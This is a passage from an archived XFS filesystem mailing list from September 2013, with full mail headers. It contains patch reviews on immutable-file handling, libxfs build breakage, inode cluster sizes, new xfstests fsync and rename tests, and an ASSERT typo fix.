using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140523 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Sep 10, 2013 at 01:47:20PM -0500, Mark Tinguely wrote: > This patch allows clients like DMF to modify an immutable file > without changing the immutable capability on the file, which > would expose the file to change. > > This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, > so no addition security risk has been introduced. The immutable flag means that the file can't be modified, and CAP_LINUX_IMMUTABLE allows setting/removing that restriction, but not ignoring it. So: NAK, this is a change in semantics and long-standing behaviour. From tinguely@sgi.com Wed Sep 11 09:22:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1EE997F3F for ; Wed, 11 Sep 2013 09:22:52 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id CFCEE304053; Wed, 11 Sep 2013 07:22:48 -0700 (PDT) Message-ID: <52307CB6.3060506@sgi.com> Date: Wed, 11 Sep 2013 09:22:46 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Christoph Hellwig CC: xfs@oss.sgi.com, Greg Banks Subject: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle References: <20130910184724.726933044@sgi.com> <20130911135502.GA21898@infradead.org> In-Reply-To: <20130911135502.GA21898@infradead.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/11/13 08:55, Christoph Hellwig wrote: > On Tue, Sep 10, 2013 at 01:47:20PM -0500, Mark Tinguely wrote: >> This patch allows clients like DMF to modify an immutable file >> without changing the immutable capability on the file, which >> would expose the file to change. >> >> This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, >> so no addition security risk has been introduced. > > The immutable flag means that the file can't be modified, and > CAP_LINUX_IMMUTABLE allows setting/removing that restriction, but not > ignoring it. > > So: NAK, this is a change in semantics and long-standing behaviour. > As you said, the CAP_LINUX_IMMUTABLE allows the holder of the capability to turn on/off the restriction. The holder of CAP_LINUX_IMMUTABLE could turn off immutability, modify it and then turn it back on, but during that window, others could modify it too which may be more undesirable than changing the behavior. --Mark. From tinguely@sgi.com Wed Sep 11 09:25:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5BE817F52 for ; Wed, 11 Sep 2013 09:25:00 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 29234304048; Wed, 11 Sep 2013 07:25:00 -0700 (PDT) Message-ID: <52307D39.6060903@sgi.com> Date: Wed, 11 Sep 2013 09:24:57 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> <20130910213249.GC19103@dastard> <52306F3E.8060409@sgi.com> In-Reply-To: <52306F3E.8060409@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/11/13 08:25, Mark Tinguely wrote: > On 09/10/13 16:32, Dave Chinner wrote: > > > libxfs: switch over to xfs_sb.c and remove xfs_mount.c > > > > From: Dave Chinner > > > > Now that the kernel code has split the superblock specific code out > > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > > and remove xfs_mount.c > > > > Signed-off-by: Dave Chinner > > --- > > Applies clean for me. > > Reviewed-by: Mark Tinguely patch 31 V2/V3 break the compilation of xfsprogs. I get: ... configure: creating ./config.status config.status: creating include/builddefs config.status: creating include/platform_defs.h config.status: executing libtool commands Building include [LN] xfs [LN] disk Building libxfs [CC] gen_crc32table [GENERATE] crc32table.h [TEST] CRC32 CRC_LE_BITS = 32 crc32: tests passed, 225944 bytes in 117 usec crc32c: tests passed, 225944 bytes in 121 usec gmake[3]: *** No rule to make target `.ltdep', needed by `ltdepend'. Stop. gmake[2]: *** [libxfs] Error 2 make[1]: *** [default] Error 2 make: *** [default] Error 2 --Mark. From tinguely@sgi.com Wed Sep 11 10:11:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F372D7F37 for ; Wed, 11 Sep 2013 10:11:33 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id C1F1A8F8039; Wed, 11 Sep 2013 08:11:30 -0700 (PDT) Message-ID: <52308821.1080807@sgi.com> Date: Wed, 11 Sep 2013 10:11:29 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> <20130910213249.GC19103@dastard> <52306F3E.8060409@sgi.com> In-Reply-To: <52306F3E.8060409@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/11/13 08:25, Mark Tinguely wrote: > On 09/10/13 16:32, Dave Chinner wrote: > > > libxfs: switch over to xfs_sb.c and remove xfs_mount.c > > > > From: Dave Chinner > > > > Now that the kernel code has split the superblock specific code out > > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > > and remove xfs_mount.c > > > > Signed-off-by: Dave Chinner > > --- > > Applies clean for me. > > Reviewed-by: Mark Tinguely > Oops, on testing V2/V3 of the patch, the libxfs/xfs_mount.c was left in these reposted patches and libxfs/xfs_sb.c was not and the reposeted patches won't compile. My mistake for concentrating on the header file when reviewing and not the whole re-post. Looks like everything is fine if using the libxfs/xfs_sb.c from the first post. --Mark From ms@citd.de Wed Sep 11 10:50:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 818F47F3F for ; Wed, 11 Sep 2013 10:50:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6F94B304043 for ; Wed, 11 Sep 2013 08:50:23 -0700 (PDT) X-ASG-Debug-ID: 1378914621-04cb6c2e9df1e420001-NocioJ Received: from awesome.dsw2k3.info (awesome.dsw2k3.info [217.188.63.246]) by cuda.sgi.com with ESMTP id DIIyCOtlCy6MAn4n (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 08:50:22 -0700 (PDT) X-Barracuda-Envelope-From: ms@citd.de X-Barracuda-Apparent-Source-IP: 217.188.63.246 Received: from localhost (localhost.localdomain [127.0.0.1]) by awesome.dsw2k3.info (Postfix) with ESMTP id E3EC9C0D03; Wed, 11 Sep 2013 17:48:14 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at awesome.dsw2k3.info Received: from awesome.dsw2k3.info ([127.0.0.1]) by localhost (awesome.dsw2k3.info [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id e7qbj1xgCePs; Wed, 11 Sep 2013 17:48:13 +0200 (CEST) Received: from citd.de (p5B15A319.dip0.t-ipconnect.de [91.21.163.25]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by awesome.dsw2k3.info (Postfix) with ESMTPSA; Wed, 11 Sep 2013 17:48:13 +0200 (CEST) Date: Wed, 11 Sep 2013 17:50:17 +0200 From: Matthias Schniedermeyer To: Mark Tinguely Cc: Christoph Hellwig , Greg Banks , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle Message-ID: <20130911155017.GA13575@citd.de> X-ASG-Orig-Subj: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle References: <20130910184724.726933044@sgi.com> <20130911135502.GA21898@infradead.org> <52307CB6.3060506@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52307CB6.3060506@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: awesome.dsw2k3.info[217.188.63.246] X-Barracuda-Start-Time: 1378914622 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140525 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 11.09.2013 09:22, Mark Tinguely wrote: > On 09/11/13 08:55, Christoph Hellwig wrote: > >On Tue, Sep 10, 2013 at 01:47:20PM -0500, Mark Tinguely wrote: > >>This patch allows clients like DMF to modify an immutable file > >>without changing the immutable capability on the file, which > >>would expose the file to change. > >> > >>This patch is restricted to holders of the CAP_LINUX_IMMUTABLE, > >>so no addition security risk has been introduced. > > > >The immutable flag means that the file can't be modified, and > >CAP_LINUX_IMMUTABLE allows setting/removing that restriction, but not > >ignoring it. > > > >So: NAK, this is a change in semantics and long-standing behaviour. > > > > As you said, the CAP_LINUX_IMMUTABLE allows the holder of the > capability to turn on/off the restriction. The holder of > CAP_LINUX_IMMUTABLE could turn off immutability, modify it and then > turn it back on, but during that window, others could modify it too > which may be more undesirable than changing the behavior. It's like setting a file you own "444" only because you CAN set it to 666 doesn't mean that the check should be short-circuted. $ touch test $ chmod 444 test $ echo 'Hallo' > test -bash: test: Permission denied -- Matthias From BATV+a81576bb3b2da883fb26+3671+infradead.org+hch@bombadil.srs.infradead.org Wed Sep 11 11:22:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D31D47F51 for ; Wed, 11 Sep 2013 11:22:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B26218F8033 for ; Wed, 11 Sep 2013 09:22:03 -0700 (PDT) X-ASG-Debug-ID: 1378916519-04bdf02f21f562f0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id BnDOvy5m5jZZicwx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 09:21:59 -0700 (PDT) X-Barracuda-Envelope-From: BATV+a81576bb3b2da883fb26+3671+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VJnB1-0000Gz-6v; Wed, 11 Sep 2013 16:21:59 +0000 Date: Wed, 11 Sep 2013 09:21:59 -0700 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems Message-ID: <20130911162159.GA29319@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: increase inode cluster size for v5 filesystems References: <1378715664-19969-1-git-send-email-david@fromorbit.com> <20130909133254.GA14778@infradead.org> <20130909153546.GT12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130909153546.GT12779@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1378916519 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140525 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Sep 10, 2013 at 01:35:47AM +1000, Dave Chinner wrote: > The test matrix of having to test everything on v4 and v5 is just > nasty, especially if we are talking about prototyping code. I'd much > prefer to bring things to v5 filesytsems where we have much lower > exposure and risk of corruption problems, and then when we know it's > solid because of the QA we've done on it, then we can expose the > majority of the XFS userbase to it by bringing it back to v4 > filesystems. I think the test matrix is a reason for not enabling this only on v5 filesystems. Large inodes are an old and supported use case, although probably not as heavily tested as it should. By introducing two different large inode cases we don't really help increasing test coverage for a code path that is the same for v4 and v5. That being said as long as you're still prototyping I'm not going to interfere. From JBacik@fusionio.com Wed Sep 11 14:47:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 764F27F37 for ; Wed, 11 Sep 2013 14:47:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 656E68F8035 for ; Wed, 11 Sep 2013 12:47:36 -0700 (PDT) X-ASG-Debug-ID: 1378928851-04cbb02c3ef28a70001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id i7BmMhcBTOZbjdvA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 12:47:31 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id C55509A06CF for ; Wed, 11 Sep 2013 13:47:30 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1378928850; bh=05CBYKv+FdBadq5JXTr8y6HMy/LnPlf7VjEc+mCWmNM=; h=From:To:Subject:Date; b=a4KlPqOvlrcGdA5nGCYvcqfCsZq0l7k2WqhjWtDx2egDBSdvVF7GZF56T9La8rUZe 064t77zuM1ME1S9SzDjHSujofheobZMkT1QdEdnRtJvwrsatzH1Udf5WAAhZe5yQHz UBIe5aCStVJXqUeMkHQLpKz6AMv5kV8/TsbycKd0= Received: from CAS1.int.fusionio.com (cas1.int.fusionio.com [10.101.1.40]) by mx2.fusionio.com with ESMTP id WB2KvVKQ96Gy9u8e (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Wed, 11 Sep 2013 13:47:30 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.40) with Microsoft SMTP Server (TLS) id 14.3.158.1; Wed, 11 Sep 2013 13:47:29 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: generic/311: add a few more test cases Date: Wed, 11 Sep 2013 15:47:27 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: generic/311: add a few more test cases Message-ID: <1378928847-2349-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1378928851 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140529 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Btrfs had some issues with fsync()'ing directories and fsync()'ing after renames. These three new tests cover the 3 different issues we were seeing. Thanks, Signed-off-by: Josef Bacik --- tests/generic/311 | 89 +++++++++++++++++++++++++++++++++++++++++++++++- tests/generic/311.out | 8 ++++ 2 files changed, 95 insertions(+), 2 deletions(-) diff --git a/tests/generic/311 b/tests/generic/311 index 675d927..002ad57 100644 --- a/tests/generic/311 +++ b/tests/generic/311 @@ -70,6 +70,8 @@ testfile=$SCRATCH_MNT/$seq.fsync FLAKEY_TABLE="0 $BLK_DEV_SIZE flakey $SCRATCH_DEV 0 180 0" FLAKEY_TABLE_DROP="0 $BLK_DEV_SIZE flakey $SCRATCH_DEV 0 0 180 1 drop_writes" _TEST_OPTIONS="" +allow_writes=0 +drop_writes=1 _mount_flakey() { @@ -104,8 +106,6 @@ _load_flakey_table() _run_test() { # _run_test <0 - buffered | 1 - O_DIRECT> - allow_writes=0 - drop_writes=1 test_num=$1 direct_opt="" @@ -131,6 +131,83 @@ _run_test() _mount_flakey } +_clean_working_dir() +{ + _mount_flakey + rm -rf $SCRATCH_MNT/* + _unmount_flakey +} + +# Btrfs wasn't making sure the directory survived fsync +_directory_test() +{ + echo "fsync new directory" + _mount_flakey + mkdir $SCRATCH_MNT/bar + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar + _load_flakey_table $drop_writes + _unmount_flakey + + _load_flakey_table $allow_writes + _mount_flakey + _ls_l $SCRATCH_MNT | tail -n +2 | awk '{ print $1, $9 }' + _unmount_flakey + _check_scratch_fs $FLAKEY_DEV + [ $? -ne 0 ] && _fatal "fsck failed" +} + +# Btrfs was losing a rename into a new directory +_rename_test() +{ + echo "rename fsync test" + _mount_flakey + touch $SCRATCH_MNT/foo + mkdir $SCRATCH_MNT/bar + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foo + mv $SCRATCH_MNT/foo $SCRATCH_MNT/bar/foo + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar/foo + _load_flakey_table $drop_writes + _unmount_flakey + + _load_flakey_table $allow_writes + _mount_flakey + _ls_l $SCRATCH_MNT | tail -n +2 | awk '{ print $1, $9 }' + _ls_l $SCRATCH_MNT/bar | tail -n +2 | awk '{ print $1, $9 }' + _unmount_flakey + _check_scratch_fs $FLAKEY_DEV + [ $? -ne 0 ] && _fatal "fsck failed" +} + +# Btrfs was failing to replay a log when we had a inode with a smaller inode +# number that is renamed into a directory with a higher inode number +_replay_rename_test() +{ + echo "replay rename fsync test" + _mount_flakey + touch $SCRATCH_MNT/foo + mkdir $SCRATCH_MNT/bar + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foo + mv $SCRATCH_MNT/foo $SCRATCH_MNT/bar/foo + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar + + # This is to force btrfs to relog the entire inode including the ref so + # we are sure to try and replay the ref along with the dir_index item + setfattr -n user.foo -v blah $SCRATCH_MNT/bar/foo >> $seqres.full 2>&1 + + $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar/foo + _load_flakey_table $drop_writes + _unmount_flakey + + _load_flakey_table $allow_writes + _mount_flakey + _ls_l $SCRATCH_MNT | tail -n +2 | awk '{ print $1, $9 }' + _ls_l $SCRATCH_MNT/bar | tail -n +2 | awk '{ print $1, $9 }' + _unmount_flakey + _check_scratch_fs $FLAKEY_DEV + [ $? -ne 0 ] && _fatal "fsck failed" +} + _scratch_mkfs >> $seqres.full 2>&1 # Create a basic flakey device that will never error out @@ -157,5 +234,13 @@ for i in $(seq 1 20); do _run_test $i $direct done +rm -rf $SCRATCH_MNT/* +_unmount_flakey +_directory_test +_clean_working_dir +_rename_test +_clean_working_dir +_replay_rename_test + status=0 exit diff --git a/tests/generic/311.out b/tests/generic/311.out index 5bad6a7..8a0d5c8 100644 --- a/tests/generic/311.out +++ b/tests/generic/311.out @@ -319,3 +319,11 @@ Running test 20 direct, nolockfs Random seed is 20 a16ac2b84456d41a15a1a4cc1202179f a16ac2b84456d41a15a1a4cc1202179f +fsync new directory +drwxr-xr-x bar +rename fsync test +drwxr-xr-x bar +-rw-r--r-- foo +replay rename fsync test +drwxr-xr-x bar +-rw-r--r-- foo -- 1.7.7.6 From dan.carpenter@oracle.com Wed Sep 11 16:17:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D30667F37 for ; Wed, 11 Sep 2013 16:17:47 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id C28A88F8040 for ; Wed, 11 Sep 2013 14:17:44 -0700 (PDT) X-ASG-Debug-ID: 1378934263-04cbb02c3af2f600001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id TZZHpo0M3UmsgqbK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 14:17:43 -0700 (PDT) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8BLHekI005777 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Sep 2013 21:17:41 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8BLHdPZ025589 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Sep 2013 21:17:40 GMT Received: from abhmt108.oracle.com (abhmt108.oracle.com [141.146.116.60]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8BLHdsv026523; Wed, 11 Sep 2013 21:17:39 GMT Received: from elgon.mountain (/41.210.129.33) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Sep 2013 14:17:38 -0700 Date: Thu, 12 Sep 2013 00:17:31 +0300 From: Dan Carpenter To: Ben Myers , Dave Chinner Cc: Alex Elder , xfs@oss.sgi.com, kernel-janitors@vger.kernel.org Subject: [patch] xfs: = vs == typo in ASSERT() Message-ID: <20130911211731.GA10527@elgon.mountain> X-ASG-Orig-Subj: [patch] xfs: = vs == typo in ASSERT() MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1378934263 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140532 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines There is a '=' vs '==' typo so the ASSERT()s are always true. Signed-off-by: Dan Carpenter --- Introduced in 21b5c9784b ('xfs: swap extents operations for CRC filesystems') diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 531b020..bb8de8e 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -957,9 +957,9 @@ xfs_bmbt_change_owner( ASSERT(tp || buffer_list); ASSERT(!(tp && buffer_list)); if (whichfork == XFS_DATA_FORK) - ASSERT(ip->i_d.di_format = XFS_DINODE_FMT_BTREE); + ASSERT(ip->i_d.di_format == XFS_DINODE_FMT_BTREE); else - ASSERT(ip->i_d.di_aformat = XFS_DINODE_FMT_BTREE); + ASSERT(ip->i_d.di_aformat == XFS_DINODE_FMT_BTREE); cur = xfs_bmbt_init_cursor(ip->i_mount, tp, ip, whichfork); if (!cur) From dan.carpenter@oracle.com Wed Sep 11 16:18:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8AD957F37 for ; Wed, 11 Sep 2013 16:18:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 28212AC006 for ; Wed, 11 Sep 2013 14:18:35 -0700 (PDT) X-ASG-Debug-ID: 1378934308-04cbb02c3bf2f6a0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id HkmITwC4cAC3PBfQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Sep 2013 14:18:28 -0700 (PDT) X-Barracuda-Envelope-From: dan.carpenter@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8BLIRiX006756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Sep 2013 21:18:27 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8BLIQ1e028206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Sep 2013 21:18:26 GMT Received: from 